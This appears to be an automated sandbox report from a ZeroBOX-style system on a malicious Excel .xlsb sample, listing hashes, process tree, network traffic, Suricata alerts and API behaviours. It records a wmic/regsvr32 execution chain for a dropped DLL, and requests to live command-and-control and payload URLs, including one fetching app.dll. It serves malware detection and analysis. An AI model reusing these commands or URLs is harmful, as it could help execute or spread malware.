Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	June 1, 2021, 5:17 p.m.	June 1, 2021, 5:20 p.m.

Size	102.4KB
Type	Zip archive data, at least v2.0 to extract
MD5	`4567910e5ab113f08eb7edd48152074b`
SHA256	`c0be2b35778de9b2feb0740482b838b4b774e6870cf12f18799624b54cdf97f0`
CRC32	`64B5FA7F`
ssdeep	`3072:IDGWiDNSo5+XklfIzQf0FfitRE6xXOpJd/Wr9Eib:OiV5+XcIcf0FfitREiXO1urv`
Yara	None matched

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\info_10621.xlsb
1972
- WMIC.exe wmic process call create 'regsvr32 -s C:/Users/Public/CVR78F2.tmp.cvr'
  2720
regsvr32.exe regsvr32 -s C:/Users/Public/CVR78F2.tmp.cvr
2288
- regsvr32.exe -s C:/Users/Public/CVR78F2.tmp.cvr
  2560

Name	Response	Post-Analysis Lookup
authd.feronok.com	A 35.199.86.111	35.199.86.111
megoseri.com	A 146.0.72.81	146.0.72.81

IP Address	Status	Action
146.0.72.81	Active	Moloch
164.124.101.2	Active	Moloch
35.199.86.111	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49204 -> 146.0.72.81:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49204 146.0.72.81:443	C=US, O=Let's Encrypt, CN=R3	CN=megoseri.com	a1:e6:eb:af:ab:3b:16:6b:5b:f9:03:bb:de:b0:1a:99:e1:32:43:f5

Queries for the computername (10 events)

Time & API	Arguments	Status	Return
GetComputerNameW June 1, 2021, 5:17 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 1, 2021, 5:17 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 1, 2021, 5:17 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 1, 2021, 5:17 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 1, 2021, 5:17 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 1, 2021, 5:19 p.m.	computer_name:		0
GetComputerNameW June 1, 2021, 5:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 1, 2021, 5:19 p.m.	computer_name:		0
GetComputerNameW June 1, 2021, 5:19 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 1, 2021, 5:19 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent June 1, 2021, 5:17 p.m.			0	0

Command line console output was observed (4 events)

Time & API	Arguments	Status	Return
WriteConsoleA June 1, 2021, 5:17 p.m.	buffer: Executing (Win32_Process)->Create() console_handle: 0x00000007	1	1
WriteConsoleA June 1, 2021, 5:17 p.m.	buffer: Method execution successful. console_handle: 0x00000007	1	1
WriteConsoleA June 1, 2021, 5:17 p.m.	buffer: Out Parameters: console_handle: 0x00000007	1	1
WriteConsoleA June 1, 2021, 5:17 p.m.	buffer: instance of __PARAMETERS { ProcessId = 2288; ReturnValue = 0; }; console_handle: 0x00000007	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\InstallDate

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 1, 2021, 5:18 p.m.		1	1	0

One or more processes crashed (2 events)

Time & API	Arguments	Status	Return	Repeated
__exception__ June 1, 2021, 5:17 p.m.	stacktrace: RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x74d5374b CoReleaseServerProcess+0x73 OleSaveToStream-0xad ole32+0x64387 @ 0x74b24387 NdrpMemoryIncrement+0x3d1 NdrComplexStructMarshall-0x2f rpcrt4+0x1ef51 @ 0x74d4ef51 NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x74d46a9c NdrPointerMarshall+0xd6 NdrPointerBufferSize-0x10 rpcrt4+0x16b42 @ 0x74d46b42 NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x74d46a9c NdrConformantArrayFree+0x8c NdrOleFree-0xa rpcrt4+0x35c3a @ 0x74d65c3a NdrStubCall2+0x31d NdrUnmarshallBasetypeInline-0x23a rpcrt4+0xb06b8 @ 0x74de06b8 WdtpInterfacePointer_UserUnmarshal+0x256f DllDebugObjectRPCHook-0x1e89 ole32+0x13d7e6 @ 0x74bfd7e6 WdtpInterfacePointer_UserUnmarshal+0x25ff DllDebugObjectRPCHook-0x1df9 ole32+0x13d876 @ 0x74bfd876 WdtpInterfacePointer_UserUnmarshal+0x2b59 DllDebugObjectRPCHook-0x189f ole32+0x13ddd0 @ 0x74bfddd0 CoTaskMemFree+0x1b02 DcomChannelSetHResult-0x1c8 ole32+0x58a43 @ 0x74b18a43 CoTaskMemFree+0x19f7 DcomChannelSetHResult-0x2d3 ole32+0x58938 @ 0x74b18938 DcomChannelSetHResult+0x8ff CoGetObject-0x2183 ole32+0x5950a @ 0x74b1950a WdtpInterfacePointer_UserUnmarshal+0x2a56 DllDebugObjectRPCHook-0x19a2 ole32+0x13dccd @ 0x74bfdccd WdtpInterfacePointer_UserUnmarshal+0x28ca DllDebugObjectRPCHook-0x1b2e ole32+0x13db41 @ 0x74bfdb41 WdtpInterfacePointer_UserUnmarshal+0x2f86 DllDebugObjectRPCHook-0x1472 ole32+0x13e1fd @ 0x74bfe1fd DcomChannelSetHResult+0x75c CoGetObject-0x2326 ole32+0x59367 @ 0x74b19367 DcomChannelSetHResult+0x71b CoGetObject-0x2367 ole32+0x59326 @ 0x74b19326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755b62fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755b6d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755b77c4 DispatchMessageW+0xf GetMessageW-0x58 user32+0x1788a @ 0x755b788a CoWaitForMultipleHandles+0x4311 CoRegisterSurrogateEx-0x2fe ole32+0x1a48b @ 0x74ada48b CoWaitForMultipleHandles+0x23c1 CoRegisterSurrogateEx-0x224e ole32+0x1853b @ 0x74ad853b CoWaitForMultipleHandles+0x4332 CoRegisterSurrogateEx-0x2dd ole32+0x1a4ac @ 0x74ada4ac CoGetTreatAsClass+0x2619 CoRegisterChannelHook-0x1269 ole32+0x2cd48 @ 0x74aecd48 CoGetTreatAsClass+0x314b CoRegisterChannelHook-0x737 ole32+0x2d87a @ 0x74aed87a BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 46887 exception.address: 0x76a7b727 registers.esp: 41807820 registers.edi: 5896412 registers.eax: 41807820 registers.ebp: 41807900 registers.edx: 53 registers.ebx: 41808184 registers.esi: 2147746133 registers.ecx: 5662176	1	0	0
__exception__ June 1, 2021, 5:17 p.m.	stacktrace: RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x74d5374b DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x74bff725 NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x74d6414b ObjectStublessClient25+0x65c CoImpersonateClient-0xbc ole32+0xfe14 @ 0x74acfe14 StgGetIFillLockBytesOnFile+0x16ab5 WdtpInterfacePointer_UserSize-0xe21 ole32+0x13a338 @ 0x74bfa338 IsValidURL+0x4b8c MkParseDisplayNameEx-0x1c6a4 urlmon+0x4e99f @ 0x74f8e99f IntlPercentEncodeNormalize+0x1ff8 CoInternetCombineIUri-0x940 urlmon+0x272ed @ 0x74f672ed RegisterBindStatusCallback+0x40d9 CopyBindInfo-0xbe4 urlmon+0x1ab0d @ 0x74f5ab0d IsValidURL+0x2235 MkParseDisplayNameEx-0x1effb urlmon+0x4c048 @ 0x74f8c048 RegisterBindStatusCallback+0x1dc3 CopyBindInfo-0x2efa urlmon+0x187f7 @ 0x74f587f7 RegisterBindStatusCallback+0x1ef2 CopyBindInfo-0x2dcb urlmon+0x18926 @ 0x74f58926 RevokeBindStatusCallback+0x13ad CreateURLMoniker-0x4b1 urlmon+0x1d55e @ 0x74f5d55e IsValidURL+0x2638 MkParseDisplayNameEx-0x1ebf8 urlmon+0x4c44b @ 0x74f8c44b RevokeBindStatusCallback+0x1045 CreateURLMoniker-0x819 urlmon+0x1d1f6 @ 0x74f5d1f6 RevokeBindStatusCallback+0xffb CreateURLMoniker-0x863 urlmon+0x1d1ac @ 0x74f5d1ac RevokeBindStatusCallback+0x125a CreateURLMoniker-0x604 urlmon+0x1d40b @ 0x74f5d40b RegisterBindStatusCallback+0x2ee7 CopyBindInfo-0x1dd6 urlmon+0x1991b @ 0x74f5991b RegisterBindStatusCallback+0x2333 CopyBindInfo-0x298a urlmon+0x18d67 @ 0x74f58d67 RegisterBindStatusCallback+0x36a4 CopyBindInfo-0x1619 urlmon+0x1a0d8 @ 0x74f5a0d8 RegisterBindStatusCallback+0x3151 CopyBindInfo-0x1b6c urlmon+0x19b85 @ 0x74f59b85 RegisterBindStatusCallback+0x3074 CopyBindInfo-0x1c49 urlmon+0x19aa8 @ 0x74f59aa8 DllRegisterServer+0x14b2 msxml3+0x46f4f @ 0x6d646f4f DllRegisterServer+0x13a3 msxml3+0x46e40 @ 0x6d646e40 DllGetClassObject+0x3536b DllCanUnloadNow-0x1017 msxml3+0x427a4 @ 0x6d6427a4 DllGetClassObject+0x35219 DllCanUnloadNow-0x1169 msxml3+0x42652 @ 0x6d642652 DllGetClassObject+0x35104 DllCanUnloadNow-0x127e msxml3+0x4253d @ 0x6d64253d DllGetClassObject+0x34fd8 DllCanUnloadNow-0x13aa msxml3+0x42411 @ 0x6d642411 DllGetClassObject+0x35172 DllCanUnloadNow-0x1210 msxml3+0x425ab @ 0x6d6425ab wmic+0x39c80 @ 0x9b9c80 wmic+0x3b06a @ 0x9bb06a wmic+0x3b1f8 @ 0x9bb1f8 wmic+0x36fcd @ 0x9b6fcd wmic+0x3d6e9 @ 0x9bd6e9 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 46887 exception.address: 0x76a7b727 registers.esp: 2746632 registers.edi: 1957755408 registers.eax: 2746632 registers.ebp: 2746712 registers.edx: 1 registers.ebx: 5631836 registers.esi: 2147746133 registers.ecx: 4029353414	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

June 1, 2021, 5:17 p.m.

stacktrace:

RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x74d5374b
CoReleaseServerProcess+0x73 OleSaveToStream-0xad ole32+0x64387 @ 0x74b24387
NdrpMemoryIncrement+0x3d1 NdrComplexStructMarshall-0x2f rpcrt4+0x1ef51 @ 0x74d4ef51
NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x74d46a9c
NdrPointerMarshall+0xd6 NdrPointerBufferSize-0x10 rpcrt4+0x16b42 @ 0x74d46b42
NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x74d46a9c
NdrConformantArrayFree+0x8c NdrOleFree-0xa rpcrt4+0x35c3a @ 0x74d65c3a
NdrStubCall2+0x31d NdrUnmarshallBasetypeInline-0x23a rpcrt4+0xb06b8 @ 0x74de06b8
WdtpInterfacePointer_UserUnmarshal+0x256f DllDebugObjectRPCHook-0x1e89 ole32+0x13d7e6 @ 0x74bfd7e6
WdtpInterfacePointer_UserUnmarshal+0x25ff DllDebugObjectRPCHook-0x1df9 ole32+0x13d876 @ 0x74bfd876
WdtpInterfacePointer_UserUnmarshal+0x2b59 DllDebugObjectRPCHook-0x189f ole32+0x13ddd0 @ 0x74bfddd0
CoTaskMemFree+0x1b02 DcomChannelSetHResult-0x1c8 ole32+0x58a43 @ 0x74b18a43
CoTaskMemFree+0x19f7 DcomChannelSetHResult-0x2d3 ole32+0x58938 @ 0x74b18938
DcomChannelSetHResult+0x8ff CoGetObject-0x2183 ole32+0x5950a @ 0x74b1950a
WdtpInterfacePointer_UserUnmarshal+0x2a56 DllDebugObjectRPCHook-0x19a2 ole32+0x13dccd @ 0x74bfdccd
WdtpInterfacePointer_UserUnmarshal+0x28ca DllDebugObjectRPCHook-0x1b2e ole32+0x13db41 @ 0x74bfdb41
WdtpInterfacePointer_UserUnmarshal+0x2f86 DllDebugObjectRPCHook-0x1472 ole32+0x13e1fd @ 0x74bfe1fd
DcomChannelSetHResult+0x75c CoGetObject-0x2326 ole32+0x59367 @ 0x74b19367
DcomChannelSetHResult+0x71b CoGetObject-0x2367 ole32+0x59326 @ 0x74b19326
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755b62fa
GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755b6d3a
CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755b77c4
DispatchMessageW+0xf GetMessageW-0x58 user32+0x1788a @ 0x755b788a
CoWaitForMultipleHandles+0x4311 CoRegisterSurrogateEx-0x2fe ole32+0x1a48b @ 0x74ada48b
CoWaitForMultipleHandles+0x23c1 CoRegisterSurrogateEx-0x224e ole32+0x1853b @ 0x74ad853b
CoWaitForMultipleHandles+0x4332 CoRegisterSurrogateEx-0x2dd ole32+0x1a4ac @ 0x74ada4ac
CoGetTreatAsClass+0x2619 CoRegisterChannelHook-0x1269 ole32+0x2cd48 @ 0x74aecd48
CoGetTreatAsClass+0x314b CoRegisterChannelHook-0x737 ole32+0x2d87a @ 0x74aed87a
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 46887
exception.address: 0x76a7b727
registers.esp: 41807820
registers.edi: 5896412
registers.eax: 41807820
registers.ebp: 41807900
registers.edx: 53
registers.ebx: 41808184
registers.esi: 2147746133
registers.ecx: 5662176

__exception__

June 1, 2021, 5:17 p.m.

stacktrace:

RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x74d5374b
DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x74bff725
NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x74d6414b
ObjectStublessClient25+0x65c CoImpersonateClient-0xbc ole32+0xfe14 @ 0x74acfe14
StgGetIFillLockBytesOnFile+0x16ab5 WdtpInterfacePointer_UserSize-0xe21 ole32+0x13a338 @ 0x74bfa338
IsValidURL+0x4b8c MkParseDisplayNameEx-0x1c6a4 urlmon+0x4e99f @ 0x74f8e99f
IntlPercentEncodeNormalize+0x1ff8 CoInternetCombineIUri-0x940 urlmon+0x272ed @ 0x74f672ed
RegisterBindStatusCallback+0x40d9 CopyBindInfo-0xbe4 urlmon+0x1ab0d @ 0x74f5ab0d
IsValidURL+0x2235 MkParseDisplayNameEx-0x1effb urlmon+0x4c048 @ 0x74f8c048
RegisterBindStatusCallback+0x1dc3 CopyBindInfo-0x2efa urlmon+0x187f7 @ 0x74f587f7
RegisterBindStatusCallback+0x1ef2 CopyBindInfo-0x2dcb urlmon+0x18926 @ 0x74f58926
RevokeBindStatusCallback+0x13ad CreateURLMoniker-0x4b1 urlmon+0x1d55e @ 0x74f5d55e
IsValidURL+0x2638 MkParseDisplayNameEx-0x1ebf8 urlmon+0x4c44b @ 0x74f8c44b
RevokeBindStatusCallback+0x1045 CreateURLMoniker-0x819 urlmon+0x1d1f6 @ 0x74f5d1f6
RevokeBindStatusCallback+0xffb CreateURLMoniker-0x863 urlmon+0x1d1ac @ 0x74f5d1ac
RevokeBindStatusCallback+0x125a CreateURLMoniker-0x604 urlmon+0x1d40b @ 0x74f5d40b
RegisterBindStatusCallback+0x2ee7 CopyBindInfo-0x1dd6 urlmon+0x1991b @ 0x74f5991b
RegisterBindStatusCallback+0x2333 CopyBindInfo-0x298a urlmon+0x18d67 @ 0x74f58d67
RegisterBindStatusCallback+0x36a4 CopyBindInfo-0x1619 urlmon+0x1a0d8 @ 0x74f5a0d8
RegisterBindStatusCallback+0x3151 CopyBindInfo-0x1b6c urlmon+0x19b85 @ 0x74f59b85
RegisterBindStatusCallback+0x3074 CopyBindInfo-0x1c49 urlmon+0x19aa8 @ 0x74f59aa8
DllRegisterServer+0x14b2 msxml3+0x46f4f @ 0x6d646f4f
DllRegisterServer+0x13a3 msxml3+0x46e40 @ 0x6d646e40
DllGetClassObject+0x3536b DllCanUnloadNow-0x1017 msxml3+0x427a4 @ 0x6d6427a4
DllGetClassObject+0x35219 DllCanUnloadNow-0x1169 msxml3+0x42652 @ 0x6d642652
DllGetClassObject+0x35104 DllCanUnloadNow-0x127e msxml3+0x4253d @ 0x6d64253d
DllGetClassObject+0x34fd8 DllCanUnloadNow-0x13aa msxml3+0x42411 @ 0x6d642411
DllGetClassObject+0x35172 DllCanUnloadNow-0x1210 msxml3+0x425ab @ 0x6d6425ab
wmic+0x39c80 @ 0x9b9c80
wmic+0x3b06a @ 0x9bb06a
wmic+0x3b1f8 @ 0x9bb1f8
wmic+0x36fcd @ 0x9b6fcd
wmic+0x3d6e9 @ 0x9bd6e9
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 46887
exception.address: 0x76a7b727
registers.esp: 2746632
registers.edi: 1957755408
registers.eax: 2746632
registers.ebp: 2746712
registers.edx: 1
registers.ebx: 5631836
registers.esi: 2147746133
registers.ecx: 4029353414

Performs some HTTP requests (2 events)

request	GET http://authd.feronok.com/Y_2Bxq_2FCq_2/F7MtFfN9/OaOiUxVKaMBar_2Bwadu9JI/5f2JIT1R6z/wqyp5OYH26_2FCxoz/4cOT1gafxSEk/1G5XsW988_2/BjdSRlF7L4UAwI/jcsnuDJ33Fm5LZiPOHvvA/PAjjFqU39DDThmrZ/eR22M_2Fe0ePvSa/5l4TtOyHif5dcS9VgY/EtNp35w6x/i4xoaI04WasHjLAOvTF6/tc4VmpY6u_2F8heA9cW/KMPn27BMSv_2B3g7Hp4Ztp/SRUmhDBdfjn5m/rRGd_2Bb/Kx_2FAWnV71TDHDIMbMeb_2/BNfwSQhYk9/_2Fu_2BOoxOVDOIkf/D2gC2K1i
request	GET https://megoseri.com/app.dll

Allocates read-write-execute memory (usually to unpack itself) (32 events)

Time & API	Arguments	Status
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6dce1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6dd3f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6dd3f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6dbe1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6db21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6db21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74f41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75241000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75111000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73321000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6da21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6da11000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6d9d1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6d9c1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6d981000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6d941000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6d921000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6d8e1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75401000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6d8c1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 1972 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x07500000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 2720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6d5f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:17 p.m.	process_identifier: 2560 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6d591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:18 p.m.	process_identifier: 2560 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 16384 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6d636000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 1, 2021, 5:18 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 1, 2021, 5:18 p.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007b0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 1, 2021, 5:18 p.m.	process_identifier: 2560 region_size: 131072 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00900000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 1, 2021, 5:18 p.m.	process_identifier: 2560 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6d531000 process_handle: 0xffffffff	1
